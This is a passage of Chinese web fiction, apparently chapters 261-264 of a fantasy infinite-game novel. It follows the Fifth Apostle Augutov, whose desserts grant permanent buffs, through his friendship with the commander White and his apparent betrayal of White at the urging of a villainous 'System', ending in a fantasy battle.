第五使徒不是一味失落,他冷静地将近段时间发生的事情都回味一遍,经过有条不紊的分析,很快就将自己新鲜出炉的测试成绩和大家微妙的态度挂上了号。 于是只剩下无奈。 有助理打下手,蛋糕做了几十人份,靠他自己肯定吃不完。 第五使徒默默地吃到饱,看着剩下的部分,倒掉又觉得浪费,抱着挣扎一下的心情,拿来板子和笔。 【今日下午茶】香橙蛋糕、布朗尼、提拉米苏、榛子饼干。 【饮品】珍珠奶茶、巧克力奶、卡布奇诺、橙汁、柠檬汽水。 【署名】奥古托夫精心烹饪之作,亲试无毒,欢迎品尝~ ^-^ 写完后,将板子竖在显眼的位置,给饮品点心依次调试合适的储存温度,第五使徒就去训练室闭关了。 当天晚上再回到休息室,他惊讶地发现盘子里居然空无一物。 转头询问看管人员,才知道自己做的点心全被其他成员拿走了。 而且不是一个人,是许多人,没吃到的人还恋恋不舍地托看管人员问他,能不能明天再做。 明明无人问津饱受争议,却突然一改风评,第五使徒颇感安慰之际,也产生了强烈的好奇心。 后续经调查才发现,原来是希尔和莉莉丝。 希尔是最早一批契约神祇的潜力股,被公会重点关注,平时也收服了不少小弟。 看到自家老大对奥古托夫的点心颇为青睐,当小弟的无论如何都要试一试,于是成群结队地过来提走一部分。 莉莉丝因为才能出众早早通过测试,一直有专门的休息室,突然来公共休息室吃甜点的原因不得而知。 但她敏锐地发现奥古托夫的下午茶所提供的增益buff,和星级厨师们出品的食物增益不太一样,一时兴起拿去研究室检测,居然是能提高身体数值的永久增益! 于是呼啦啦带领一帮手下跨训练区过来薅羊毛,为人还算仗义,没有全部薅走,只薅了百分之八十。 如此热闹的阵仗,自然惹来一群人的关注,得知永久增益的传闻后,更是掀起轩然大波。 经过这么一通推波助澜,事情一传十十传百,不过两天时间,奥古托夫的下午茶传得沸沸扬扬,在基地火过半边天,被竞相追捧! 彼时奥古托夫已经通过测试,成为如希尔般被重点关注的潜力股之一。 永久增益固然稀奇珍贵,但和奥古托夫令人眼前一亮的作战天赋比起来,他的厨艺技能还是差了点。能够提供的增益数值也不高,只是防御力从30增加到40的差别,靠装备道具就能替代。 更别提只有第一次吃有效果,后面吃再多也没用。 基地打消了将奥古托夫培养成后勤辅助的想法。在上面的安排下,第五使徒也开始了更高强度的严格训练,不再有那么多空闲时间去做下午茶。 奥古托夫的下午茶成为限量珍品,最开始拒绝他的那些人没能抢到,忍不住嘀咕抱怨:“能提供永久增益加成,你为什么不早点说?要是早点说的话,我们也不会……” 也不会什么? 触及奥古托夫没有情绪的目光,一时失言的人连忙闭嘴,想到惹怒对方可能会被报复,包括他在内的其他人,顷刻间冷汗都下来了。 却见奥古托夫忽而一笑,反手从储藏柜里拿出一盘小蛋糕,像个敦厚和善的老大叔:“不用担心,我给大家留了很多。” 那些人不敢置信,愧疚心油然而生。 刚拿起蛋糕,却又听到奥古托夫说:“只是很遗憾,我现在做的甜点没法再提供加成了,之前咨询过医疗师,她说或许是训练压力太大,失去了烹饪的手感。” “……”瞬间手里的蛋糕放也不是,不放也不是。 奥古托夫:“但是大家放心,我事先品尝过,味道还是很不错的。” 在他期盼的目光中,众人只好硬着头皮吃下去,纷纷恭维道:“是不错,是不错。” 从那以后,奥古托夫还是会定量提供下午茶。来的人也从最开始的络绎不绝,到三三两两、不多不少。 他发现自己比以前看淡了很多,哪怕甜点剩下也不会很失落,会默默拿回去自己吃,或者喂鸽子——第六使徒的那只馋嘴信鸽。 直到这一天,公共休息室来了个罕见的家伙,是外出任务归来的white。 据说他被基地上层内定为第一使徒,各个精英大佬为他量身特训,本尊也属于那种拼命狂,所以公共课程结束后,除去重要的测试比赛,平时基本见不到人。 但不久之后,他们会一起训练并长期共事,而那时,white将会成为他们的指挥官。 和鄙夷唾弃white走后门的其他人不同,奥古托夫最开始瞥见这道形单影只的身影,微微带着感同身受的唏嘘。 他能看出white是被赶鸭子上架推到台前,承担了自己不擅长的责任。 如同不喜欢打打杀杀、勾心斗角,却被当成家族继承人培养的他。 这时,两人的交集不深不浅。 青年想要一杯甜牛奶,什么口味都可以,奥古托夫没有多问,见服务员在忙,顺手给他倒了一杯自己刚做的巧克力奶。 青年用吸管搅一搅,喝了一口,发现变化,随口道:“这次加了坚果碎吗?味道不错,上次加燕麦的也很好喝。” 就只是这么简简单单的一句。 奥古托夫蓦然顿住。《 》 260-270 第261章 成神进度:98% 从被人怀疑,到风靡一时,再到回应寥寥,第五使徒的心态始终平和。 毕竟他自小看惯许多家族的兴衰更替,而在无限游戏的覆巢之下,被累及惨死的无辜生命比比皆是。 两相比较,只是自制的甜点不受欢迎,又能算得了什么呢? 不过他心里始终有个放不下、却没能调查出结果的疑问。 ——为什么希尔和莉莉丝这两位很少出现在公共休息室的人,会跑过来吃他做的甜点? 莉莉丝甚至在五公里开外的另一个训练区,总不可能为了吃甜点专门跑一趟。就算会,又是谁给她带去的消息? 直至听见青年说上次加燕麦的巧克力奶味道不错。 ……奥古托夫感觉自己找到了爆火事件的“始作俑者”。 但距离那件事已经过去两个月了,除去那一天外,期间他也推出过几次燕麦巧克力奶,也有可能是其他人特意帮青年捎带。 总而言之。 奥古托夫笑了笑,顺手拿起还没清洗的餐具,放在水龙头下冲洗。 家务工作会给人一种亲切的家庭感,在哗啦啦的流水声掩饰下,一切试探都显得寻常自然。 “是吗?那天我第一次测试出非凡的制药天赋,就想着能不能运用到烹饪料理里,虽然事先检测过无害,但心里还是没底,听到你喜欢,让我很高兴。” “对了,我还在布朗尼里特别加入了打碎的栗子壳,你觉得口感怎么样?” “味道有点偏苦,但层次丰富很多,吃着不容易腻。我更喜欢香橙蛋糕,橙子、橘皮还有黄油的搭配比例恰到好处,很松软香甜。” 奥古托夫顿时笑起来:“不瞒你说,香橙蛋糕可是我的拿手绝活,以前孩子们都吃不够。” 听说意大利人特别注重家庭,青年打量第五使徒发自内心的笑脸,深有感触。 第五使徒因为年满三十七,脾气温和,经常会被误认成已经当爸爸的人,见状主动解释道:“是做义卖活动时遇见的孩子。” 他感慨:“大多数孩子都没什么钱,但他们眼巴巴地看着你时总是不忍心拒绝,不知不觉就免费送出去很多。有的孩子会拿他们的‘宝贝’来交换,比如玩具枪、发卡和娃娃,也算是一段快乐的经历。” 青年顿了顿。 一个大家族的继承人想要开展义卖活动,策划者绝对不会让他亲手做香橙蛋糕。 首先规模太小,其次义卖金额上限太低,再然后没有足够的噱头,名声很难传开,对提高社会地位无益。 对方坚持去做,只有一种可能:那是他的个人爱好,不在乎能不能从中获得名利。 奥古托夫疑惑得解,心情舒坦不少,对青年的好感涨了一大截。 让他惊喜的是,表面淡然的青年居然是个资深的甜食爱好者,对甜品的点评中肯准确,让他有股想要拉着对方就烹饪话题再聊上半个晚上的冲动。 遗憾的是青年这么晚才回到基地,估计还没来得及好好休息,只能作罢。 很快一杯巧克力奶见底,white将杯子拿过来,奥古托夫顺势接过。 水龙头打开,流水哗啦啦地响,他忽然听到清雅温和的嗓音响起:“出于喜欢,擅自将它们推荐给了其他人,希望没有对你造成困扰。” 奥古托夫微微顿住。 他猛地抬头,对上青年澄澈的眼睛。 暖黄灯光洒落餐台,仿佛有股暖意从心中悄然铺开。这感觉就像千里马遇上伯乐,不仅擅长的菜品得到称赞,连那点郁闷也被人体贴地发现,周全地顾及。 叫人惊喜中感到慰藉。 奥古托夫触动颇深,情不自禁地笑出声来:“怎么会,多亏有你,我才没有浪费粮食,还小小地出名了一把。” “以及,想不想再来一杯燕麦奶?我感觉自己现在的状态很不错,或许烹饪时能爆出高额的增益加成。” —— 前面提到过,第五使徒喜欢软萌可爱的小动物。 最早出于处境上的共鸣,他才会对white格外看照。那时候青年就已经展现出冷静沉着的气态,如今气场日益强大,深入人心,和萌物更挨不上边。 但甜牛奶事件,让第五使徒发现了青年不一样的另一面。 区别于内核的稳定成熟,青年会像小孩子般钟爱甜食,并且很挑食,由于掩藏得极好,居然没有人发现。 有吸管会忍不住咬弯,然后在被发现前迅速捋直。 不挑剔作战环境,但有条件会想睡得舒服一点,偏爱柔软的床铺和衣服,喜欢毛茸茸的东西。 爱动手,闲不下来,专注思考时尤其严重。 曾经在公共休息室发现不知道谁落下的彩纸和罐子,心里想着事,不知不觉就上了手,直接折满一罐子千纸鹤。 后来青年才知道这是别人练习技能用的,听到“受害者”在那哀嚎怒吼,连忙装作若无其事地快步逃走,事后偷偷买来两倍附魔纸赔人家,匿名寄出。 原来在那成熟稳重的外表下,竟然藏着一个会没那么脸皮厚、从心、善良、孩子气的小小人。 不止一次,第五使徒在看见青年脊背笔挺地坐在休息室的吧台前,神情严肃得像是参加重要会议,却将甜牛奶喝得一干二净时,脑子里都会疯狂冒出“想养”的冲动。 但每当升起这种想法,背后就会有一种被阴测测盯着的战栗感,惹得第五使徒怀疑自己鬼上身。 —— 某一天,第五使徒似乎不经意地问white:“你会憎恨这个残忍的世界吗?” 青年顿了顿,直截了当地看着他:“为什么这么问?” 彼时white刚开完紧急会议回来,他来找第五使徒,是因为刚接到一个和对方有关的重磅消息。 那就是最近一次升级设备后,技术部突然检测到第五使徒在进入公会前,就已经契约了神祇,并且那位神祇拥有强大到可以碰撞宇宙级生命体的力量! 这消息震动了基地整个上层。 为什么第五使徒隐瞒不报,为什么他平时发挥不出这股神力,这些都不得而知。 但问题不止在隐瞒,还在监察组事前没能探查清楚第五使徒的底细,意味着基地的安防漏洞百出! 无论如何,基地位置不能暴露,联合会在接到消息时就想紧急处理掉第五使徒,最后是white在会议上一力作保,才没有让当事人被抓进审讯室。 但所有人都清楚这件事的严重性,奥古托夫被驱逐出公会都是小意思,就怕坐定卧底的嫌疑,被清空记忆放逐到时空裂隙。 在青年和第五使徒交谈的休息室外围,无数警卫荷枪实弹,随时准备破墙而入,气氛紧张到一触即发。 奥古托夫有所察觉,但出于对青年的信任,也或许无所谓自己的死活,他的情绪很松弛。 他状似不经意地提起很久以前发生的一件事。 ——关于被孩子们喜欢的义卖工作者,有一天暴露家族继承人的身份,进而遭到孩子们的辱骂哭诉。 这么一个小小的故事。 “离我做义卖大约隔着两条街,那里发生过一场火并,死去的很多人中,包括那些孩子的父母。” 奥古托夫:“我们在整个事件中属于协助者,类似被雇佣的保镖,有合乎规章的行动调令。考虑到前因后果和当事人的所作所为,那些人死有余辜,我并不同情他们。” “可孩子是无辜的。” “哪怕事情不是我们先挑起,我也无法面对他们含着泪水的诘问,更解释不清楚,为什么会发生这场争斗。” “或许我从一开始就不该接触那些孩子,如果真的同情他们,应该直接给福利院投入大笔的资金。” 第五使徒道:“但我那时候和祖父他们大吵了一架,被冻结掉所有资金,身上没什么现金,找工作也屡屡碰壁,幸好之前考过甜点师的资格证书。” 要说证书,第五使徒手里有一大堆,钢琴、射击、国际舞、律师…… 他名校毕业,博士学位,有相当丰富的从业经验和履历,即使脱离家族也绝对不愁生计。 只有甜点师是出于自身爱好去学的,也是他那时唯一想做的事情。能在家附近找到相关工作,是祖父对他最后的宽宥。 但问题随之而来。 被下放到底层,亲身接触到那些人的痛苦挣扎,第五使徒突然对自己掌有的权力产生了怀疑,直至无限游戏降临。 对上青年的眼睛,第五使徒又一次提到这个问题:“设身处地,如果你也曾经历过被强权打压欺凌的苦日子,你会憎恨这个世界吗?” 就像第五使徒能从各种蛛丝马迹发现青年柔软的一面,眼光毒辣的他,也能顺势推测出对方以前的处境并不怎么美妙。 拥有孩子般纯洁的心灵,同时遭遇过磨难。 将心事压抑已久的奥古托夫,下意识把对那些孩子的愧疚全部寄情于眼前的灵魂,迷茫发问。 第262章 成神进度:98%…… “当时我真诚地向你寻求答案,结果你告诉我什么?” 第五使徒一五一十复述当时的话:“你说只有吃饱了撑得慌的家伙,才会纠结别人恨不恨。而那些真正在挣扎的人,只是让自己每天顺利活下去,就已经花光了所有的力气。” 谢叙白挑眉瞥向他,轻轻一哂:“我也没想到,只是讲了一句实话而已,居然会让活在象牙塔里的大少爷这么难以接受。” 第五使徒脸皮绷紧,面无表情地盯着他,蓦然冷笑出声:“所以啊,这位立于云端喜欢高高在上审视他人的大法官,你有预料到自己被那么多人背叛抛弃的下场吗?” 听到第五使徒在“那么多人背叛”六字上咬出重音,谢叙白的眼神微妙地闪烁一下。 紧跟着他的手臂一痛。 第五使徒用镣铐将谢叙白的四肢固定在刑架上,又用特制的铁索将他的两边手臂紧紧捆绑。 如今这道分魂被封印住神力,谢叙白试探性地挣动两下,果不其然,凭他自身的力气完全动弹不得。 如同砧板上任人宰割的鱼。 好几名骷髅兵走上台,搬运柴火堆在谢叙白悬空的脚下,紧接着打开油桶,往柴火上浇油,劣质棕榈油的味道很快弥漫开,刺鼻难闻。 这像是某种征兆,霎时间台下成千上万的骷髅兵举起手中的尖刀长枪,兴奋地欢呼呐喊,声浪涤荡四方。 在它们头顶的云层上,一双幽暗的眼睛也在好以整暇地凝视着谢叙白两人。 眼睛的主人正是巨大化的三十层大领主,除去黑王以外第二强的BOSS,力量无限接近于神,体格高达上百米,挥一挥手臂就能掀起飓风。 它眯起猩红双眼,如同观看一场即将上扬的好戏,朝两人压低身体,满怀恶意。 沉重气压迫近,山岳般的身躯遮挡日光,黑暗如潮水笼罩整个领主城堡,压迫感十足。 如今的情况显而易见,谢叙白成为了大军行动前的祭祀品,分分钟就会被烧死的那一种。 但青年神色不动,面对千军万马的威胁仍旧泰然处之,一点都没有死亡降临前的恐惧和紧张。 大领主高扬的眉头顿时垮了下去,脸色阴暗,不悦到了极点。它单手虚空一抓一提,环绕在谢叙白心口的猩红雾气如同毒蛇般朝内猛然绞杀! 钻心般的疼痛突如其来,青年的脸色霎时间白了下去。但他咬着牙关一声不吭,眉毛都没有颤抖一下,仿佛这疼痛对他而言也不过尔尔,瞥向大领主的眼神带着浓浓的讥讽。 这一眼让大领主气得够呛,仿佛要骂什么但是克制住了,气急败坏地再次抬起手—— 第五使徒突然说道:“你是真的不怕把邪神招来。” 话音未落,诸神的力量在谢叙白的身上爆发。强烈耀眼的神辉如同暴怒反击的狮群,嘭!地动山摇! 大领主猝不及防,被创出去几百米,捂住胸口一阵血气翻涌,没注意还踩扁了十几个骷髅兵,顿时一阵人仰马翻。 它盯着谢叙白满眼惊愕,随后转为难以遏制的愤恨。 系统的机械声冰冷响起:【难怪你会有恃无恐,原来是诸神赐福给你的底气,但你以为祂们的赐福能够持续多久?经得起多少消耗?】 大领主遮天蔽日的身体再度压下来,白骨般的利爪裹挟着摧枯拉朽之势,骤然拍下。 同时诸神的神力自谢叙白身上冲天而起,两方力量交戈冲撞,剧烈冲击下轰然爆出五颜六色的神光,夺目溢彩! 高举火把和油桶的几个骷髅兵全部被冲成碎骨片,骷髅大军更是连退百十丈远,唯有神力保护的第五使徒双臂护头,还能顶着风浪的压力站在祭台上。 系统痛斥道:【你还愣在那里干什么?】 “你以为我想呆在这里?” 第五使徒怒骂一声,也是不客气,冷笑连连:“我早就说过了,white是个极其谨慎的人,他不可能毫无防备地跑来自投罗网,但你这个蠢货非要不信邪地招惹他!” “最晚不过十分钟,他的那些支持者就会闻讯赶到,这都是你自己做的孽!” 仿佛应召着第五使徒的话,黑塔地面震动不断,源源不断的震感从底下传来,一波更比一波剧烈。 那是玩家们正在各个大佬的指挥下,齐心协力攻破传送通道的限制。 各个层级最强的那批起义军已经在先前的战斗中被一网打尽,剩余的污染物找对方法就能单守。 有莉莉丝的空间传送在,所有玩家抵达黑塔高层,不过时间早晚的问题。 系统会慌吗?或许会。 明知道谢叙白自投罗网有诈,却仍旧果断地下杀手,就是感到威胁的体现。 但局势发展到这一地步,系统明知再这样拖延下去,眼前这群最后的起义军会被一网打尽,也没有下令收手撤军。 它似乎还有依仗。比如忒修斯尚未说出口的那个秘密,又或是玩家没有触及它的核心,没法给它造成致命伤害。 系统忽然变得不慌不忙,冷声勒令第五使徒:【去,杀了他。】 第五使徒:“什么?” 【杀了他。】 系统的机械声中带着莫名的快意:【你不是一直想着挖出他的神核报仇雪恨吗?现在我给你这个机会。等下,我会让领主全力压制住他的神力,你趁这个机会,捣碎他的意识海。】 第五使徒嚅嗫嘴唇,还未吭声,就见面前空气一阵扭曲,仿佛有个不成形的影子隔着虚空,阴恻恻地紧盯着他。 脖颈被握住,心脏被攥紧,全身上下包括脊骨在内的致命部位同时感到难以承受的压力,在恐惧的刺激下,第五使徒的大脑神经不可控制地战栗起来。 系统仿佛在用现实威胁他:你没有拒绝或反抗的权力。 第五使徒沉默片刻,没有波澜的眼神如死鱼般看向谢叙白,握起拳头,朝对方一步步靠近。 那拳头传来磅礴神力,竟在瞬间形成强大气场,刮得祭台碎石飞溅,硬生生从谢叙白和大领主对峙的力量漩涡中劈开一条通道! 也是这时,谢叙白突然道:“你果然已经变成系统的走狗了吗?” 第五使徒站在他面前:“现在来后悔是不是太晚了?” 谢叙白和他对视几秒,状若自嘲地轻笑道:“希尔说你背叛了我们,我怎么都不愿意相信,一直以为你有苦衷或是一时气急,想着来把误会解开就好……我能问一下吗?系统到底许诺给你什么好处?值得你背弃自己的同胞。” 说到最后一句话,青年的声音也冷了下来。 第五使徒在他的目光逼视下笑起来:“理由吗?很简单。系统答应我,它会为孩子们单独创造出一个伊甸园副本。” “没有争斗痛苦,没有歧视偏见,物资富裕充足。孩子在里面不用担心战争爆发,不用担心被现实压迫,成为憎恶的大人。他们会过得很开心。” 谢叙白眉眼间浮现出淡淡的嘲讽,一针见血地说道:“这话你自己相信吗?你的祖父曾将你和表弟放在一起培养,所有吃穿用度、教育资源、投入心血都做到公平公正。” “但你的表弟还是会因为祖父多夸赞你一句,秘密找人暗杀你。争斗是天性,不是人的天性,是所有生物与生俱来的本能。就算经过后天引导教育也只是淡化,不可能完全杜绝。” 第五使徒:“所以系统会抹除诸如此类的天性。” 刹那间,气氛仿佛绳索绷紧到极致,谢叙白的眼神冷若冰霜,字字珠玑:“那不是孩子们的伊甸园,是批量制造傀儡玩偶的加工厂。” “我也这么认为,但是我们能怎么办呢,white?” 第五使徒悲哀地看着他:“承认吧,在找到系统的命门前,它就是不可战胜的。” “你没那么无所不能,你也是人,就算豁出去这条命,够你挣来几次机会?怕是再来一次都勉强。” 【说够了没有!】 系统终于忍无可忍地打断他们的絮叨,矛头直指迟迟不肯下手的第五使徒,越看越觉得不对劲,怀疑道:【你到底动不动手?还是在做戏拖延时间?】 谢叙白轻笑一声,眉眼一弯尽显轻蔑:“你那么着急干什么?他要是有能耐杀掉我,还需要你来催?” “实不相瞒,我的神核早就随着灵魂一同粉碎了,如今的意识海经过诸神重塑,坚不可摧。别说奥古托夫,就是全服的玩家站在我面前,都不能对我的意识海造成半点威胁。” 他转向奥古托夫,轻快地说道:“不好意思啊,说什么让你掏神核解恨的话,都是在骗你玩,不过是为了打感情牌好策反你,你不会生气吧,牛大壮?” 奥古托夫呼吸一滞,刹那间瞳孔震颤发红,像是遭到难以承受的打击,威压爆发,将刑架下淋透油的木柴通通震碎。 他粗喘一口气,吼声凶恶:“别这么叫我!” 【……】 系统无声注视那些碎得渣也不剩风化成灰的木柴,电子神经突突直跳,心中的怀疑愈演愈烈。 却听到奥古托夫突然提议:“没用的,这人脸皮厚到极点,你再怎么折磨他都没用。” “除非你有办法破坏他得到的那件神器。” 【什么?】 “【永不崩溃的对抗命运之心】。”奥古托夫红着眼瞥向谢叙白。 某一瞬间,他的目光震痛般从青年原本应当结出神核的胸口掠过,但只是稍纵即逝,谁也没能发现。 “所有人都知道,命运女神将这件至关重要的神器交给了第一使徒,所以不管遭受什么样的磨难,他的心境都不会受到影响,可以坚守信念,一往直前。” “只要能破坏那件神器。”奥古托夫直视谢叙白的眼睛,“他就不再完美无缺,无数不满他的人,憎恨他的人,都会跑出来欢呼雀跃。” 第263章 成神进度:98% 谢叙白沉默,忽然冷声质问:“背弃了自我信念,你的契约神祇竟然还愿意赋予你神力?” 第五使徒却笑起来,背后虚影显现。 那是比大领主的还要高大的姿态,头发如火焰扬起,铺就天穹,手臂宛如山川,躯体顶天而起,无数铁链套在那具肌肉盘虬的身体上,绷紧时发出金属的嗡鸣,尾端深深地扎入地底。 祂就是古老神族泰坦,大地之母盖亚和天神乌拉诺斯的孩子。 传说中共有十二位泰坦,司掌不同权职,力量强大,如今这一位只是泰坦族概念的化身,可即便没有实名,祂的存在也让天地变色。 “为什么不呢?”第五使徒低声嘲讽道,“以残暴著名的泰坦神族,祂们什么时候在乎过人类的死亡?祂们的信徒又会是什么良善之辈?我不是背弃信念,反而是找到了真正的信念。” 电光火石间金光乍现,谢叙白的四肢爆出震响,镣铐崩断,碎裂的铁链子噼里啪啦掉落一地。 诸神力量撤去,大领主掌下蓦然一空,想要收手已经来不及了,白骨爪裹挟着千钧之势惯性往下,轰然拍碎祭台! 尘土漫天飞滚,余波涤荡而出,前排数千名骷髅兵被风浪掀飞! 巨大的白骨爪抖开碎石挪走,却见坑洞里空荡荡,只剩刑架和祭台的残骸,哪里还有谢叙白的身影? 系统的数据库中没有检索到谢叙白继承命运神器的信息,还在反复甄别是记录出错,见状只剩惊怒。 再一抬头,只见原本空无一物的天边有道身影在飞速跑远缩小,正是谢叙白! 【别让他跑了,抓住他!】 大领主闻声追击,巨大的身体如同翻涌的漆黑沙暴,碾上天际。 第五使徒灰头土脸地从祭台碎石中爬出来,朝地上啐出带血的唾沫,一按胸口痛得剧烈,肋骨断了两根,忍不住爆了句粗。 要不是他反应快,撑起神力当防护罩,这会儿已经在重开循环的路上了。 第五使徒粗喘一口气,满是戾气地看一眼谢叙白逃离的方向,竟是转身就走。 毫无疑问系统被他这副消极怠工的样子激怒了:【站住!谁让你走的?你果然有反心!】 “最后说一遍,我恨不得杀了他,但你从始至终就不信任我。不管是自作主张下杀手,还是逼迫我出手,亦或是现在,我猜你根本就不认为摧毁那件神器有用。但是那家伙下意识逃跑的反应,足够说明一切——” “可惜,晚了!” 第五使徒嗤笑道:“现在人都快跑没影了,我能怎么办?就算我追上去,你难道真的指望我能顶着诸神的力量杀死他?做梦去吧!” 他再次转身,可是没走几步身体就霍然下沉,脚掌压碎地板,喉头腥甜涌动。 明白是系统施压,第五使徒脸色一阵青一阵白:“fuck……!” 系统隔着虚空幽深地凝视第五使徒,眼神阴森,如刀刮骨。 也是这时,邪神的威压在三十一层传开,如躁动的火山,酝酿着恐怖的破坏力——祂似乎感应到了谢叙白分魂所处的困境。 黑塔底层的玩家亦在加快脚步,逐渐汇聚成百上千的大部队,朝着高层稳步前进。 殊途同归,势若破竹。 一切和前世的轨迹渐渐重合。 系统其实没有玩家想象中那样有恃无恐,它可是在谢叙白的手里吃过大亏,被迫降低游戏难度,整改规则。 在它看来,谢叙白个人的破坏力根本不值一提。 但是非常莫名其妙。 无论是神是人,只要他在这,都将如同四面八方的河流奔涌而来,汇聚成汹涌壮阔的大海。 那意味着,再这么拖延下去,谢叙白受到的庇护将不止是诸神赐福的力量,还有一个正儿八经的邪神,一群愿意为他以命相搏的拥趸。 于是系统妥协了,收回威压:【好,我给你摧毁那件命运神器的力量。】 第五使徒眼神闪烁一下:“你为什么不直接出手?非要让我上。” 因为不能。 是系统违反规则在先,不顾原本的游戏设定,大幅度修改各层级的难度,制造出污染物这种莫须有的灾难。 如今它受到反噬,不能直接出手,只能假手于人。 系统当然不会袒露自己的短缺,第五使徒啧一声:“那可是命运神器,涉及顶级法则【时间】,你之前想方设法都没能摧毁它们,现在来跟我说可以?肯定是在坑我,我不干!” 系统勃然大怒,再降威压,第五使徒如被重锤砸中,闷哼一声,喉中涌起腥甜血气,额头爆出狰狞青筋。 但他可不是什么软骨头,哪怕在系统的折磨下濒临死亡,也没有松口半句。 系统只能短暂封锁住黑塔三十层的空间,让谢叙白暂时孤立无援。 眼看时间一分一秒地过去,它不得不再次妥协,恼怒道。 【当然没那么简单!我将直接篡改谢叙白身上所有道具的防御参数,所以你只有一次机会。】 “只有一次机会?”第五使徒反驳道,“开什么玩笑!鬼知道那件道具长什么样子,万一我失手弄错成其他道具该怎么办?” 命运神器不是系统出品的道具,哪怕在游戏规则内,也不能被它锁定。 它曾捕获过谢叙白的灵魂碎片,当时没有发现命运神器的影子,所以才会怀疑第五使徒的话。 至于现在,它不能确定,也不敢赌。 【那你也会死。】 系统的机械声充满森冷的杀气:【只有一次机会,没有多的。而且你要补充契约,将剩下的一半灵魂交给我。】 第五使徒冷声嗤笑:“你果然还是不信任我。” 【如果你真心归顺我,又何必害怕将所有的灵魂献给我。当人类战败之时,我保证你们将和我一起共享胜利的荣光。】 第五使徒不吭声,系统阴恻恻地质问:【还是你心里有鬼,根本就没想杀了谢叙白?】 “……” 闪电划破漆黑天穹,飓风怒吼着掠过疮痍大地。风雨将至,空气中弥漫开冰冷的湿气。 第五使徒撑在地上的手指朝内抓握,骨节绷紧到微微颤抖。 他沉默地抬起头,对上骷髅兵的燃烧着紫色幽火的眼睛,里面只有战欲和嗜血的渴望,上万个体如出一辙,像被复制粘贴的机器。 或许是灵魂和系统半融合的缘故,隐隐约约的,第五使徒能够透过这群怪物可怖狰狞的表象,窥见它们真实的内里。 有点亲切,还有点熟悉。 老九他们投敌后突然崩溃发疯,越发丧心病狂,有几分是因为这个呢? 第五使徒不知道,也不感兴趣。他只是想到老九老十被谢叙白审判,灵魂散尽。 或许那将是他最后的结局。 “好。” 奥古托夫深深地喘了口气,喉头带着挥之不去的血腥气,他笑:“但我同样不信任你,事实证明你只会坏事。所以在摧毁命运神器前,我必须保有绝对清醒自主的意识。” “而且,我不会将所有的灵魂交给你。” 【什么意思?】机械声冷若冰霜。 “别误会,我只是想保留1%的灵魂。你照样可以轻松摆布我,操控我,甚至粉碎我的灵魂。” 系统完全无法理解。 就像奥古托夫说的这样,1%,没法反抗,没法脱离控制,什么都做不了,只能保留一点微弱的自我意识,比植物人还不如。 “足够了。”奥古托夫说,“足够我看见他的死亡,看见最终的胜利。” —— 谢叙白被堵在三十层的空间封闭屏障前,形单影只地悬在阴云奔涌的天幕下,背后就是气势汹汹追上来的大领主。 他微微拧眉,似乎感到棘手。 空气中弥漫开异常的波动,这一片的规则开始飞速扭曲。 雨水不是往下掉,而是向天上飘。雷电劈碎大地,蔓延开的电流变成迎风招展的小草。河水变成结晶块,泥土在火上沸腾。 ——所有的基本规律都混乱了,仿佛有双无形的大手正在逆天悖理,连身处其中的谢叙白也跟着受到影响! 身后传来一股恐怖的气息,呼吸声接踵而至,有人在后面! 谢叙白骤然扭身,一只手掌抵在他的心口,他抬头,正对上第五使徒泛起戾气的眼睛。 系统直接将第五使徒传送到谢叙白身后,当事人根本来不及反应。 这一刻,时间好似被拖曳得极其漫长。 磅礴神力漩涡状汇聚,如剑刃贯穿谢叙白的胸口,刹不住的力量冲击又从青年后心强势透出,猛然击入地表,粉碎地壳,直达地幔上部涌动的岩浆。 能量在高压中急剧汇聚,气压骤变直至轰然爆炸,滚烫火柱擎天般冲出地表,橙红岩浆混合白色火山灰如雨而下,像一场盛大烟花! 谢叙白眼前一黑,吐出大口鲜血,被第五使徒单臂捞住。 就在青年的心口,有什么东西应声而碎,残骸扑扑簌簌地往下掉,紧跟着被飓风吹散,一点不剩。 能量反应很微弱,但经检测,确实是某个神器的碎片。何况谢叙白脸色惨白如受重创的样子,也无法作伪。 系统高兴惨了!一个劲儿地催促第五使徒继续下手,粉碎掉这一分魂,消耗对方的力量。 但第五使徒似乎沉浸在成功袭击谢叙白的喜悦中,状似安抚地轻拍青年因剧痛而止不住颤抖的身体,一下连着一下:“你总是那么天真,觉得所有人都是好人,从现在开始,可别再这样了。” 这话似乎在嘲讽谢叙白不该对他抱有期待。 像曾经劝说废寝忘食的长官早点休息,第五使徒语气温和:“因为你,我的肋骨刚才断了两根,很痛,让我想起被你掏走神核的时候。不过再怎么痛,应该也比不上你神核碎裂的痛。” “我已经将全部的灵魂卖给系统,下一次见面,大家就是完完全全的敌人了,我不会留手,你们也不必留情。” 谢叙白的身体猛然一震,痛苦地喘息着,沾血的手拽住第五使徒的胳膊,指尖用力到泛白,似是挣扎,又似乎想要抓住什么:“不……” 第五使徒将谢叙白的身体抛向空中,抬起手对准,神力汇聚。 千钧一发之际,一道身影不知道从哪里流星般飞驰而来,将谢叙白从半空中掳走。 “white,white!你怎么样,还好吗?回答我!” 听到头顶传来急切的呼唤声,谢叙白勉力抬头,模模糊糊看清楚一张熟悉的脸,他闭上眼睛,气若悬丝:“乌鸦,怎么会是你……” 来人正是第四使徒,绰号乌鸦。 他看着昏迷过去的谢叙白,瞳色暗沉下去,仿佛酝酿着汹涌的怒火,冷冷地看向第五使徒:“奥古托夫!” 第264章 成神进度:98% 和绰号不符,第四使徒乌鸦是个外表相当阳光健气的年轻人,走路风风火火,笑容常挂脸上,和谁都能很快聊在一起,甚至称兄道弟。 仿佛随时会穿着花里胡哨的短袖花衬衫,趿拉人字拖,戴着纯银耳钉和墨镜,在阳光普照的夏威夷海滩和所有人热情招手:“ 各位亲爱的帅哥美女们大家好啊!” ——的感觉。 眼下,那张爽朗阳光的脸上充满怒火。 乌鸦单臂一挥,神力涌动,巨大的虚影出现在身后。 祂双手握住一柄沉重的大剑,表面反射出金属的寒光,剑尖垂直往下扎进地面,金白神袍纤尘不染,腰背笔直神情肃穆,像个闭目小憩的圣骑士。 其中两翼折起,虚虚地遮住脸。两翼王往下,盖住光裸的双脚。还有两翼延展出去几十米,往上扇动时,白羽纷扬落下,宛若雪花飘落。 正是传说中的六翼炽天使加百列,司掌审判之责。 随着祂闭着的眼睛猛然睁开,一切开始变化。 金瞳染满猩红血色,柔顺长发和白羽从头部迅速变黑,头顶的光环宛若被墨汁侵染,不详的黑暗气息直冲天际。 审判剑闪烁微光,飘到乌鸦的手上,凝聚成实质的审判剑。 因为堕化,剑身失去往日圣洁的光泽,充斥血腥气,更显凌厉。 乌鸦“锵——”地拔出剑,神力注入其中,拔地而起,向第五使徒怒吼着杀了过去! 